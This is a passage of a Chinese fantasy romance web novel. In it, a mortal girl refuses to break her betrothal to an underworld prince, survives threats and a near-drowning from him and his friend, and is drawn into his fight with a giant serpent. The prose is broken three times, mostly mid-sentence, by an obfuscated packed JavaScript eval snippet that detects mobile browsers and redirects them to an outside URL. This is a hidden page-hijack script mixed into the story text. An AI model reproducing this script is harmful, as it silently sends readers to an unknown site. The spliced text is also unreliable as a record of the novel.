先前她一直惦记逃走的事,也没仔细观察过这里,此刻再看,才发现真是好大好漂亮的一间屋子,桌椅衣柜都是崭新的,上面的漆是她从没见过的华贵,还有地上铺的砖、床上挂的纱帐,全都漂亮又精致。 “不愧是仙人的宅子,连客房都这么漂亮。”村头二胖和县里的师爷是亲戚,之前跟着师爷去过一次县太爷家里,回来就整天吹嘘县太爷家多好多好,南山摸着铜铸的烛台,心想等她回去之后,她一定要跟二胖炫耀。 跟仙人住的地方比,县太爷家又算得了什么!想到二胖那没见过世面的样子,南山突然有点兴奋,结果下一瞬就撞上了一堵墙。 屋子中央哪来的墙?她疑惑回头,三步之外,灵晔神色森冷地盯着她。 “……仙人什么时候来的,怎么也不提前说一声,民女也好早点迎接。”南山干笑,下意识摸了一下袖子。 灵晔面无表情,锐利的视线仍然稳稳落在她身上,当看到她衣领上的油星时,顿时眉头轻蹙。 太脏了。 南山见他一直不说话,只好苦着脸往地上一跪:“仙人英明,我不是故意说话不算话的!” 灵晔回神,一开口声音薄凉:“是吗?” “真的真的,我是有苦衷的。”南山赶紧解释,除了五根姻缘绳的事没说,其他的全都说了。 说完,屋里便静了下来。 ……她都说这么多了,他不说点啥?南山抬头偷瞄,恰好撞进灵晔视线里。 她顿时绷紧了后背,干笑:“仙人伯伯说,只要我嫁给你,就是什么少主夫人,到时候谁都不敢再找我阿爹阿娘的麻烦。” 阎岳的原话是,冥界主生死,三界之内,五行之中,但凡有魂灵者,终有过桥之日,天生灵骨固然难得,但若为此得罪冥界,就多少有些得不偿失了。 南山没听太懂,但也明白了他的意思。 “只有答应这门婚事,我才能保护阿爹和阿娘。”南山重申。 灵晔语气淡淡:“你去退婚,我会护着他们。” “不行。” 仙人伯伯都告诉她了,眼前这人很多年前受过一次重伤,导致他现在虽然比凡人厉害很多,但在仙人里是非常弱的,更何况他又不能每天守在阿爹阿娘身边,要想阿爹阿娘无恙,还是得靠冥界之主这块招牌震慑。 灵晔听到她的拒绝,似乎有些生气,但神情仍然克制:“你不答应,我就杀了他们。” “……仙人伯伯说了,你要是敢这么做,他就生气了。”南山语气虚浮地搬出阎岳。 阎岳说了,他要是用父母威胁她,就让她这么说……虽然听起来很不靠谱,但她没有别的办法,只能试一试了。 结果话音刚落,灵晔蹙了蹙眉,还真不提这事儿了。 “仙人……不对,是少主,”南山见状,觉得他也挺好说话的,于是继续好言相劝,“少主,我知道您不喜欢这门婚事,我保证就算成亲了,我也绝不来烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006143|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,你想做什么就做什么,还跟没成亲的时候一样,我呢就努力修炼,以后负责保护你。” 灵晔一顿:“你?保护我?” “嗯,你还不知道吧,我是天生灵骨,是几千年难得一见的修炼奇才!”南山挺直身板,“只要我好好修炼,用不了多久就会变得比所有人都厉害,等你继位冥王后,我来给你当打手,谁不服气我就打谁。” 灵晔闻言,眼底闪过一丝嘲讽:“冥王之位七千年一易,下次继任大典就在百年之后,即便你是天生灵骨,百年内也不可能强过所有人。” 南山一愣:“但仙人伯伯说我可以。” 灵晔面无表情地俯身:“知道他为什么说可以吗?” “为什么?”南山看着那张在眼前无限放大的俊脸,下意识问了一句。 灵晔神色冷淡地看着她的眼睛:“因为你只要再找一个天生灵骨双修,修炼就会事半功倍。” 南山迟缓地眨了一下眼睛:“什么是双修?” 灵晔眼神愈发冰凉。 南山默默咽了下口水,故作老成地问:“所以我应该去哪找另一个天生灵骨?找到之后应该做什么,人家要是不愿意给我当炉鼎怎么……” 话没说完,她的手突然变成了硬邦邦的石头,南山呼吸一慢,惊恐地看向男人。 “我没耐心和你耗,”灵晔声音森冷,“现在,滚去承天殿,告诉阎岳你要退婚。” “我不……”南山张口拒绝,转眼整条胳膊都石化了,且身体其他部位也开始僵硬。 “退、婚。”灵晔语含威胁。 “我不……”脖颈开始石化,南山呼吸变得困难。 窒息感一阵一阵地涌来,南山脑子一片空白,下意识抓挠喉咙。灵晔看着她宁死也不肯退婚的样子,眼底闪过一丝烦躁,正准备再加诸别的手段,南山挣扎间露出莹白的手腕,一串珊瑚珠子挂在上面,红得像血一般。 灵晔倏然停手。 身体恢复正常,大量空气涌入喉间,南山剧烈咳嗽几声,便彻底失去了意识。 再次醒来时,耳边隐约传来阎岳怒气冲冲的声音,她艰难睁开眼睛,恰好看到灵晔面无表情地靠在桌前。 “都说她脖子上的伤是她自己抓的,你为什么不信?”他冷着脸辩解。 阎岳更生气了:“不是你弄的,难道还是她自己抓的?对一个弱小的凡人动手,我平日就是这么教你的?!” “都说不是我了,”灵晔说罢,突然对上她的眼睛,视线顿时变得有压迫感起来,“不信你自己问她。” 阎岳下意识回头,发现南山已经醒了,赶紧问一句:“南山,你没事吧?” 南山摸摸脖颈,刚要开口说话,就听到灵晔缓缓开口:“你自己说,颈上伤痕是怎么来的。” “重要的是那点抓痕吗?”阎岳怒问,“重点是你为何要欺凌弱小!” “我没有,”灵晔面色平静,“你不信可以问她。” 说着话,他看向南山,眼底透着淡淡的威胁。 南山觉得眼下的情况有点荒唐,但她现在属于是寄人篱下加有求于人,理智告诉她最好是不要招惹灵晔,但…… “仙人伯伯,他想把我变成石头,还想杀我!”南山飙泪告状。 阎岳怒视灵晔。 灵晔:“……” 5. 第 5 章 冥界也有日夜之分,最后一缕月光落下,大地落入漆黑夜幕,漂浮在半空的鬼市一瞬亮起灯烛,熙来攘往间透着诡异的热闹。 鬼市的尽头,平日生意最好的酒楼诛月楼今天闭门谢客,楼阁外头里三层外三层地围着身着幽森铁甲的鬼兵。 阁楼之内灯火通明,十余个舞姬身姿妖娆,时而化作一缕轻烟,时而化作一阵细雨,挥舞着衣袖在圆台上翩翩起舞。 “二位贵客,这是奴家新酿的酒,名曰忘红尘,饮上一杯再大的忧愁也能忘个干净,还请二位贵客品鉴一二。”花枝乱颤的老板端着托盘,瞄一眼冷淡的灵晔,便识趣地看向了另一人,“止参公子,给个面子?” 被她称为少爷的止参是冥界护法之子,也是冥主阎岳的干儿子,虽然身份也是高贵,但向来吊儿郎当没有架子,跟谁都能聊上几句,老板不敢招惹灵晔,只能来问他了。 止参长了一张娃娃脸,闻言笑了一声:“算了吧,公子我无忧无虑,用不上这种酒,你还是给需要的人吧。” ……满屋子的人,还有谁更需要这个?老板瞄一眼从进门就冷着脸的灵晔,假装没听懂:“得了,奴家将酒放这儿了,二位有兴致的时候再尝吧。” 说罢,便立刻离开了。 止参目送她的身影直至消失,才对着她留下的酒撇了撇嘴:“她的酒可别乱喝,谁知道里头放了什么乱七八糟的玩意儿。” 此刻偌大的酒楼里,只有两个客人和十几个舞姬,圆台和上席之间又有结界阻隔声音,他这话是跟谁说的不言而喻。 灵晔却没有搭理他的意思,仍然垂着眼眸把玩一只空酒杯。 止参无奈了:“少爷,你特意叫我出来,就是为了冷着我?” 两人从出了娘胎就是好友,整个冥界也只有他敢这么和灵晔说话了。 面对好友的质问,灵晔一言不发,仍是冷淡地把玩酒杯。 止参也不介意,拎着酒壶好奇地凑过来:“所以,你真在不夜阁面壁思过了十日?” 灵晔脸色愈发冷峻。 “还真是如此,”止参啧了一声,“你怎么回事,堂堂冥界少主,竟然被一个凡人小姑娘欺负了,欺负就欺负吧,解了禁还不去找她报仇,反而来寻我喝酒,少爷,这可不像你啊。” 灵晔冷嗤一声,眼神愈发淡漠:“父王将沉悦珠给了她。” 止参一顿,略微坐直了些:“真的?” 灵晔愈发烦躁。 “看来冥主很是认可这个儿媳啊……你呢?你怎么想,真打算娶一个凡人为妻?”止参也开始皱眉了。虽然冥主这么做一定有他的原因,但让他们堂堂冥界少主娶一个凡人,他还是觉得太委屈了。 灵晔面无表情地和他对视。 止参面露同情。 先王后去世后,这爷俩相依为命几千年,灵晔虽然是不好招惹独断专行的性子,却拿亲爹一点办法也没有。 估计他今天退婚,冥主明天就能找根绳子上吊。 止参叹了声气:“实在不行,就让那个凡人主动退婚呗,冥主一向怜弱,凡人非要退婚的话,估计他也只能妥协。” “她不肯退。”灵晔扫了他一眼。 止参托着下巴:“也是,区区凡人,若是做了冥界的少主夫人,可以说是一步登天,不肯退婚多正常。” 灵晔越想越心烦,随手拿起一壶酒刚要喝,突然注意到是诛月楼老板送来的那壶,又蹙眉把酒壶放下了。 “要不我替你解决吧。”止参突然道。 灵晔抬眸:“你?” “你那是什么眼神?不信我?”止参轻嗤一声,“放心吧,冥主都把沉悦珠给她了,我是不会伤她性命的。” 说罢,突然不怀好意地笑了,“但不代表不会吓唬她。” “你要做什么?”灵晔一看他的表情,就知道没憋什么好屁。 止参清了清嗓子,刚要开口说话,角落的日晷突然发出咔哒一声,下一瞬六七个婢女鱼贯而入,转眼将他们面前的桌子上摆满了饭菜,只见刚才还对他的计划有几分好奇的灵晔,拿起筷子开始认真吃饭。 “……你这一日三餐按时吃饭的好习惯,这么多年还真是一点没变。”止参无语地看着他。 灵晔充耳不闻,垂着眼眸一口饭一口菜,吃得相当认真。 止参百无聊赖地等着,直到灵晔放下筷子,才再次凑过来:“做什么你就别管了,我保证能让她把婚退了。” “阿嚏!” 南山用力地打了个喷嚏,一抬头警惕地看向四周,偌大的寝房里,空无一人。 她松了口气,默默端起了饭碗。 不知不觉间,她已经在这个地方住了十天了,虽然这十天没怎么出门,但她对这里也大致有了一些了解。 如今她住的是一个名叫沧澜宫的地方,相当于凡间的皇宫,仙人伯伯就是这里的皇帝。虽然很早之前,仙人伯伯就说过他是什么冥界之主,但南山一直没什么概念,直到有人这么跟她解释之后,她才意识到那是多了不得的大人,一时间心里也愈发忐忑—— 仙人伯伯要是皇帝,那灵晔不就是太子了?她得罪了太子! 南山这辈子见过最大的官就是县太爷,还只是远远一瞥,实在难以想象得罪了太子会是什么下场,听说灵晔已经结束闭门思过,今天早上就从不夜阁出来了。 “……不会来找我吧?”南山心事重重地摸摸手腕上血红的珠串。 虽然阎岳一再强调,她只要戴着那串珠子,灵晔就不会再伤害她,但鉴于某些原因,南山觉得他并不是很了解自己的儿子,于是她每天都是提心吊胆的状态,之前还偶尔去院子里溜达溜达,现在直接不敢出门了。 一连三天,她都把自己关在屋里,到第四天的时候,终于忍不住跑到门口透透气,结果刚到门口,就被一颗石子砸了。 “谁?谁砸我?”南山警惕张望,下一瞬就看到院墙上趴了个二十岁左右的青年。 青年眉眼带笑,见她看过来,还朝她招了招手。 “你是谁?”南山这段时间见到的都是一些长得奇奇怪怪的家伙,这还是除了阎岳和灵晔之外,第一个五官正常的‘人’。 青年按着墙头一个翻身,直接进了院内:“我叫止参,是护法之子。” “护法是什么?冥界的官职吗?”南山不解。 止参被她问得一噎,确定她是认真在问后换了个说法:“我是灵晔的好友。” “啊,你是灵晔的好友啊。” 南山微微一笑,转身就往屋里跑,下一瞬却被一股无形的力量挡住。 她咽了下口水,故作镇定地回头:“你想干什么?” “我哪敢对你如何,”止参扫了一眼她手腕上的珠串,笑嘻嘻道,“只是想让你看个东西罢了。” 说罢,他伸出一只拳头,像是握着什么东西。 南山迟疑地往前走了一步,突然看向他身后:“仙人伯伯?” 止参下意识回头,南山扭头就跑,可惜下一瞬就被揪了回去,她刚要大喊救命,止参的手就摊开了,一股酒味炸开,南山转眼失去了意识。 头晕,昏沉,还有点想吐,像喝了很多很多酒,脑子乱糟糟的,身体好像也在沉沉浮浮。 南山眼睫轻颤,陷在清醒和不清醒的边界里反复挣扎,正难受得不知道该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006144|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好时,一股清凉的风突然拂过脸颊,连带着整个人都清明好多。 “再不睁眼,就真的要淹死了。” 恶劣的声音响起,南山颤了一下,总算睁开了眼睛。 这是哪里? 视线渐渐从模糊到清晰,灰茫茫的水面就这么出现在她的视野里。 水? 南山一愣,随即不受控地下沉,才惊觉自己在一片巨大的湖泊里。 咕噜咕噜…… “噗!”南山挣扎着浮出水面,吐了一口水后慌乱地看着岸上的人,“你想干什么?” “不干什么,就是想跟南山姑娘聊聊天。”止参笑着在岸边蹲下。 南山抹了把脸,警惕地看着他:“你想聊什么?” “唔……聊聊退婚的事怎么样?”止参好言好语,似在与她商量。 南山:“……” “你们凡间有句话,叫强扭的瓜不甜,相信南山姑娘也听过,”止参语气轻飘飘,像在跟她聊今天的天气,“我家少主不喜欢你,就算你做了少主夫人,恐怕也没好日子过,不如拿些好处尽早离去,你觉得呢?” 南山气笑了:“我觉得什么?我要是不认同,你还打算淹死我啊?” “淹死倒不至于,让你在水里泡个几天倒是可以的,就是不知道南山姑娘能不能受得住。”止参笑道。 南山被他笑得后背发毛,直觉他真能做出这种事:“你先冷静一下,我要是真泡出个好歹来,仙人伯伯肯定不会放过你,你也不想被他责罚吧……我听明白你的意思了,不就是退婚嘛,灵晔既然这么想退婚,直接跟仙人伯伯说就是了,何必再绕个圈来找我呢。” 灵晔要是主动退婚,她就是被辜负的那个,以仙人伯伯的性格,肯定还会庇护她和阿爹阿娘,要是她去退婚,那他可能就真不管他们一家了。 “让灵晔去退,退成了我保证不纠缠。”南山强调。 止参摊摊手:“我家少爷最是孝顺,一向不愿忤逆冥主,你也知道,大孝子都这样。” 南山:“……” “所以,你退吗?”止参也不绕圈子了。 南山沉默片刻,道:“我不……” 话没说完,一股无形的力量突然将她按进水里,她慌乱挣扎,险些呛水时又浮了上来。 “你说什么?”止参笑得阴森森,“我没听清。” 南山:“……” “退吗?”止参继续问。 南山和他对视片刻,梗着脖子道:“我不……” 又一次被按进水里,南山连忙憋一口气,可止参大概防着她这一手,这次按在水里的时间明显比上次长,等出来时只能浮在水面上剧烈喘气。 “退吗?”止参问了第三遍。 “我……”拒绝的话还没说出口,那股力量又开始把她往下压了,南山忙道,“我考虑考虑!” “那你要快点考虑才行,这里是木易湖,里头关着一条穷凶极恶的七脚蛇,那可是连冥主都奈何不了的凶物,你要是再耽搁下去,小心会被它吃掉。”止参慢悠悠提醒。 湖水早就带走了大部分体温,南山本来就冷得发颤,此刻一听他这么说,顿时心里也开始跟着发凉:“我有沉悦珠,你不能动我。” “我不动你啊,”止参一脸无辜,“但七脚蛇非要吃你,我能有什么办法?” 南山:“……” 止参看到她憋屈的表情笑了一声,正要继续逼问,身后突然传来冷清的声音:“这就是你想出的办法?” 南山和止参同时看过去,灵晔一袭宽袖长袍,头戴半透白玉冠,在灰茫茫的天水一线中,矜贵得犹如神明下凡。 6. 第 6 章 “你怎么来了?”止参笑嘻嘻打招呼。 灵晔扫了南山一眼,视线经过她发白的唇色时略有停顿,但还是很快收回:“你想淹死她?” “当然不是,就是给南山姑娘一点教训,让她知道不夜阁的女主人,不是什么人都能做的,”止参说着话,含笑看向南山,“你说是吧,南山姑娘?” 灵晔闻言,也皱着眉头看过来。 南山泡在冷冰冰的湖水里,水珠子顺着头发脸颊不断往下滚,阿娘熬了几个大夜给她做的衣服也湿透了,此刻皱巴巴地贴在身上,唯有手腕上的沉悦珠依然鲜亮。 而岸上这两个男人,锦衣玉袍,满身琳琅,就这么高高在上地看着她,像看一个不自量力的小丑。 南山感觉心里有一把火在烧,烧得她眼睛都快红了,却仍然强压着情绪。 “考虑好了没有?”止参不耐烦地催促。 轰—— 火彻底烧了起来。 “考虑好了,但我只跟灵晔一个人说。”她咬着牙道。 止参立刻看向灵晔。 灵晔皱了皱眉,但还是往前走了几步,经过止参身边时,被他塞了一张卷轴。 “让她签字画押,要是敢反悔,就要忍受烈油烹心之苦。”止参故意抬高了声音,显然是说给南山听的。 南山冷笑一声,在灵晔走到湖岸最边上时,像一条鱼一样游到他脚边。 “蹲下来,你这样我没办法说话。”南山仰头,只能看到他的衣角。 灵晔蹲下,一脸平静地看着她。 “我考虑的结果就是……”南山定定和他对视半晌,突然抓着他的衣领跃起,猛地朝他唇上撞去。 她的动作太大胆太迅速,两个男人都没反应过来,等回过神时,她已经游回了湖里,一脸快意地看着灵晔:“我考虑的结果就是,不退婚。” 卷轴落入水中,很快被湖水淹没。 “我知道先前答应退婚却反悔是我不对的,也知道这桩婚约是我占了你的便宜,我理亏,我对不起你,我像个蚂蟥一样巴着你不放,所以你差点害死我,我不怪你,谁让我没本事保护家人,只能依仗这门婚事呢。” “但也该够了吧,就算我反悔在先,你报复这么多也该够了吧,婚约是你爹定的,逼着你成亲的人也是你爹,你不乐意,找你爹说去啊!欺负我算什么?要不是为了阿爹阿娘,你以为我想和你成亲啊!” 憋在心里的话终于说了出来,南山越说呼吸越急促,等最后一句说完,眼圈终于微微泛红。 灵晔唇上伤口绽开,阵阵刺痛让他心生烦躁,声音也冷得像冰碴:“既然不想,那就退婚。” 说了这么多,他却只听进去这一句,南山深吸一口气,和他对视许久后突然笑了:“我,偏,不!” 看着她倔强的眼睛,灵晔突然心浮气躁,一旁的止参也目瞪口呆,显然想不到一个凡人可以这么有种。 “还是那句话,你和我的婚事不是我促成的,而是父母长辈做的主,你不满意这桩婚事也好,不满意我这个人也好,都该是你来悔婚,凭什么你不愿意娶,却要我出面做恶人,我履行婚约却还要在你面前当孙子。” 南山挑衅地看着他被血染红的唇:“乡下野丫头没规矩惯了,就喜欢跟自己未婚夫亲热,你要是觉得恶心就趁早退婚,不然下次就不是亲个嘴儿的事了。” 此言一出,四周陷入死寂。 南山发泄一通是畅快了,但畅快完又开始担心自己的小命—— 她看出来了,有沉悦珠在,这两个人是不敢怎么着她的,但就像止参说的,他们不伤她性命,可她要是被七脚蛇吃掉了,那也是没办法的事。 怕什么来什么,她刚想到所谓的七脚蛇,脚下就传出了森冷的嘶吼,南山的脸都吓白了,当即就要往岸上游。 止参总算回过神来,打个响指就把她困在了原地,再看她惊慌的样子,突然有点想笑:“还以为多有骨气,原来是个嘴硬的胆小鬼?” “少废话,你快放开我,”南山催促,“我要是被七脚蛇吃了,做鬼也不会放过你!” “巧了,小爷我最不怕的就是鬼,你赶紧答应退婚,我就放你上岸。”止参抱臂,依然执着于退婚。 “我刚才说那么多你一句都没听是不是?”南山火大,但随着下面的声音越来越近,到底还是服了软,“你先放我上去,退婚的事我们再说。” “不行,说不清楚你别想上来。”止参坚持。 南山又急又恼:“别废话,它就要上来了!” “谁?七脚蛇?”止参本来想嘲笑她两句,但看到她面色这么凝重,一时也有点不确定了,“真的?” “真的,我听到它的声音了!”南山忙道。 她不说还好,一说止参便露出了无语的表情:“哪有什么声音,你可真敢说。” “真的,我没骗你们!”南山见他不信,当即看向灵晔。 止参还在一旁叭叭:“得了吧,还没骗我们,你一个凡人的听力难道比我们还好?” “我真听到了!”声音越来越清晰,意味着那东西离得越来越近,南山都快疯了,“七脚蛇也是蛇吧?你们不知道,我从小就能听到蛇……” 南山话没说完,湖底的嘶吼突然变成了低语,她眼神一空,突然朝湖下游去。 “嘿,还演起来了,吓唬谁呢。”止参拦住想要救人的灵晔,直接在岸边坐下,打算等她自己忍不住浮上来时狠狠嘲笑她。 可等了半天,都没见到人影,他心里咯噔一下,突然意识到事情不对劲。 “来……来……” 低语仍在持续,南山理智上想要远离,身体却不受控地往湖底游。 说也奇怪,她平时和小伙伴去摸鱼,每次能下潜个两三米便已经了不得,这次却感觉不到什么浮力,身上背负了万顷湖水,依然可以无限下沉。 氧气渐渐耗尽,胸腔仿佛要炸开,身体却还在往深处游,湖水深到一定程度后,没有光照进来,本来会越来越漆黑,可她越接近湖底,周围就越亮,亮到能看见十米开外三尺长的大鱼。 南山手指触碰到湖底砂砾的刹那,指尖突然裂开一道伤口,鲜红的血没有被湖水淡化,反而注入了砂砾之中,于是湖底刹那间裂开一个黑洞,有什么东西在湖底之下疯狂撞击。 巨大的嘶吼声不再遥远,而是清楚地钻入耳朵,南山猛然睁开眼睛,四肢仿佛瞬间恢复了自由,当即便要往湖面上浮,可惜还未转身,便被一股力量吸进了裂开的黑洞。 ……这次真是要死了吧。南山绝望地闭上眼睛,一只修长的手突然抓住了她的手腕。 溺水之人,一旦遇到救命稻草就会抵死抓住,南山也不例外,当发觉手被抓住时,她下意识地缠抱上去,对方没有推开她,反而随她一同坠入黑洞。 嘶吼声愈发尖锐,扎得南山耳朵轰鸣,正当她以为自己要聋掉时,冰凉的手指抚过她的耳朵,巨大的喧嚣便被隔去了九成。 ……怎么回事?南山眼睫动了一下,脸埋在人家怀里仍然不肯抬起。 “呼吸。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006145|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 熟悉的声音传来,南山倏然抬头,恰好对上一双清冷的眼睛。 “灵……”南山喉咙里艰难地发出一点声音,接着意识到什么,剧烈地咳嗽起来。 见她恢复了呼吸,灵晔将她放下,双手结印化出一把泛着幽蓝光的剑,径直朝前方杀去。 南山躬着身子咳嗽半天,等缓过劲来突然发现自己脚下并非土地,而是万丈高空,她倒抽一口冷气,下一瞬又看到灵晔正与一条巨大的蛇缠斗。 南山长在乡间,从小到大见过不少蛇,可还是第一次看到这么大的蛇,比县城里的大酒楼还要高出三倍,一身拳头大小的肉瘤子,张开的嘴里獠牙恐怖,流着浓稠的毒液,简直看一眼都叫人觉得心惊。 她还呆傻着,灵晔已经一剑刺中大蛇的眼睛,大蛇长啸一声,声波震得连空气都在抖动。 “黄毛小儿,胆敢伤我真龙之身,受死吧!” 灵晔抬眸,透着几分冷淡:“一条赖皮蛇,还敢自称真龙。” 很奇怪,大蛇的声音应该很大,可南山听来却轻轻弱弱,反而灵晔薄唇轻启,每一个字都十分清晰。 大蛇已经被彻底激怒,身躯翻滚间天地变色,南山看得心惊胆战,生怕会误伤自己,结果每次蛇尾无意间扫过来时,灵晔都会及时出现,将所有攻击都尽数化解,一来二去之后,大蛇像是发现了什么,专门朝着她攻击,灵晔面露不悦,身姿翩若游龙,一把剑舞得更是见光不见影。 不知缠斗多久,大蛇似乎察觉到不对劲,突然朝着南山右上方冲去,南山吓得抱头蹲下,大蛇粗糙的身子顿时从她头顶飞过,她小心翼翼抬头,这才发现上面有一个大洞,洞内湖水清澈,隐约有巨大的鱼游过。 那是……湖底?所以她现在在湖底的下面?南山看着脚下白茫茫一片的高空,又一次被这个和凡间全然不同的世界震慑。 她正失语,大蛇已经第三次撞击洞口,灵晔持剑杀去,逼得它连连后退。 ……这就是仙人伯伯口中那个,身体虚弱灵力低下继位之后谁都能踩两脚的儿子? 仙人伯伯果然不了解他的儿子!这才多久的功夫啊,大蛇已经彻底落入下风。南山看着有气吞山河之势的灵晔,久久无法言语。 眼看着洞口渐渐收缩,它已经无望逃离,所有的愤恨与怨怒彻底爆发,于是南山还在发呆,猝不及防和一只充斥着怒火的巨大眼睛对视了。 南山:“?” “黄毛小儿,你阻我自由毁我左眼,我便杀了你心爱之人以报此仇!” “……谁?我吗?”南山还一脸茫然,大蛇已经张开大嘴朝她冲来。 “啊啊啊你真的搞错了!” 看着张开口将近五米的大嘴,南山脑子轰隆一声化为空白,黑洞里的湖水和大鱼、高空之中的风和云,以及下方白茫茫一片的土地,都变得那么遥远,唯独泛着腥臭味的蛇嘴是那么近,近到可以将她一口吞下。 濒死之际,南山忘记闭眼,直愣愣看着大蛇鲜红的口腔,正发愣时,突然看到蛇嘴僵了一下,原本凶狠的眼神也惊慌起来,像是看到了什么可怖的东西。 南山顿了顿,刚生出些许疑惑,泛着蓝光的剑尖便突然从蛇的咽喉破出,接着蛇头崩裂,化作漫天红色的火焰炸开,剑尖直直朝她的面门刺来,却在还有一尺距离时收回,化作一把大伞被衣带沾血的男人握住,闪身为她挡去所有星火。 南山怔怔和灵晔对视,视线无意间滑过他唇上的伤口,刚要开口说话,灵晔就突然俯身扑到她身上,一张脸也埋进了她的脖颈。 7. 第 7 章 温热的呼吸抚过肌肤,南山猛地把人推开:“你干什么!” 被推开的灵晔双眸紧闭,直直往下摔去。 南山心下一惊,赶紧伸手去拉,却和他一起跌落。 “啊啊啊啊……啊!” 空中的洞慢吞吞地缩小,终于在一个时辰后彻底消失,碧空如洗,仿佛从未有过破损。 南山不知睡了多久才醒,睁开眼睛时双手无意识乱抓,结果抓出来一把雪。 雪?她猛然坐起来,下一瞬感觉腰酸背痛难受得快要死掉,但她没有痛哼几声,便被眼前的景象吓到了。 白茫茫一片,除了雪还是雪,她置身其中,就像一颗被揉进馒头的干枣,根本分不清东南西北。身上的衣服不知什么时候已经干透,仿佛从未下过水一般,南山呆愣地看着手里的雪,却没感觉到一丝凉意。 这是什么雪?竟然不冻手。 南山皱了皱眉,正要仔细研究,余光突然瞥见一道身影,吓得她登时摔了个屁股蹲。 “我以为是谁呢……”看清是灵晔后,南山默默松了口气。 灵晔扫了她一眼,又将视线收回去,简直是明晃晃的无视。 南山撇了撇嘴,顺着他的视线看去,便看到了白皑皑的雪地里,一块表面光滑到可以照出人影的青石。 “这是什么?”南山好奇地凑过去。 灵晔直接把人拨开。 南山嘴角抽了抽,识趣地离他远了点。 自从来了冥界,南山就再也没有看到过蓝天白云,此刻身处一望无际的雪原,仰头便是湛蓝的天空,叫人心情无法自控地变好。 南山心情一好,就老是想找人说说话,虽然旁边这个人不合适,但她忍了半天后,还是没忍住又凑了过去:“刚才到底是怎么回事啊?” 出乎意料的,灵晔这次没有无视她:“止参将你困在湖中,你蓄意报复,以天生灵骨的血破开湖底封印,险些将七脚蛇放出去。” “……你少颠倒黑白,明明是你们见死不救,我才会被那条蛇蛊惑。”南山无语。 灵晔抬眸:“你为何能被蛊惑?” “不都跟你们说了,我听到了它的声音,然后身体就不受控……” 南山话说到一半,灵晔掌中突然化出泛着蓝光的剑,直指她的咽喉:“你到底是什么人,来冥界有何目的?” 南山没想到他会突然动手,顿时僵在了原地:“我我我是凡人啊,南河县孙家村人氏,来来来这里和你成婚……” “一派胡言,凡人如何能听懂蛇呓?”灵晔打断她。 南山一愣:“蛇呓?什么是蛇呓?” 她眼神茫然,似乎真的不知道,灵晔眉头渐渐皱起。 南山回过神来,连忙解释:“你说的蛇呓,是指蛇的声音吗?我也不知道为什么会听懂它们在说什么,但听我阿娘说,我是很小很小的时候就能听懂了,我出生的那天,家里还来了上百条蛇来庆贺呢,但因为这事儿太离奇,所以阿爹阿娘就没告诉别人,也不许我说出去。” 说罢,她一脸真诚,“真的,我发誓没骗你。” 灵晔定定看着她,想从她脸上找出些许破绽,南山还想再说点别的,指着她的那把剑突然消散在空气里,从刚才就一直端坐的灵晔呼吸也有些不平顺。 南山这才发现,他脸色白得像纸一样。 “你……怎么了?”南山小心翼翼地问。 灵晔眉头紧皱:“饿了。” 南山:“……” 静了片刻后,她不敢置信:“你不会要我去找吃的吧?” 灵晔盯着凡人看了片刻,似乎也觉得想让她找吃食的自己太荒谬,于是主动转移话题:“我方才与七脚蛇缠斗时,灵力消耗太过,如今灵力亏空,与凡人无异。” 南山果然忘了吃饭的事:“要多久才能恢复?” “十日左右。”灵晔回答。 南山看一眼茫茫无际的雪原:“那……那我们怎么出去?” “等父王过来,重新破开封印。”灵晔神色淡淡地望向天空。 天空清朗透彻,好似从未有过破洞。 一个雪球突然砸在衣袖上,刹那间碎成几瓣。灵晔看了看袖子上碎开的雪,又面无表情地看向南山。 “看什么看,你拿剑威胁我,我还不能报复了?”南山理直气壮,又团了一个雪球砸过去,这次直接砸在了他的衣领上,松散的雪顺着衣领滑进去,虽然不凉,但沙子一样硌得人难受。 “孙、南、山!”灵晔强忍着怒意,冷冰冰提醒,“别忘了是谁救的你。” 南山看着他嘴上的伤口哈了一声:“要不是你朋友把我扔湖里,我也不需要你救。” 说着话,又开始团雪球。 灵晔额角青筋跳了跳,面色依然冷沉:“我只是暂时没了灵力,不是永远都没了。” “我现在不反击,你就能保证以后不再找我麻烦?”南山问完晃晃手腕,鲜红的珊瑚珠子衬得腕子娇憨莹白,“再说我有这个,你总不能杀了我吧?” 她连问两个问题,灵晔面色冷凝,一个都不肯回答,于是又一个雪球砸了过来。 这次是砸在了脸上,碎雪散开时,连眉眼都染白了,灵晔终于忍无可忍,抓起手边的雪开始还击。 南山一看这还得了,当即挽起袖子要给他个教训。 两人莫名其妙地隔空打了起来,很快将周遭嚯嚯得一团糟。南山没想到灵晔一副快昏厥的模样,竟然还这么持久,当即团了一个更大的雪球要给他致命一击,灵晔早有防备,在她扔过来的瞬间侧身避开,接着举起早就准备好的大雪球。 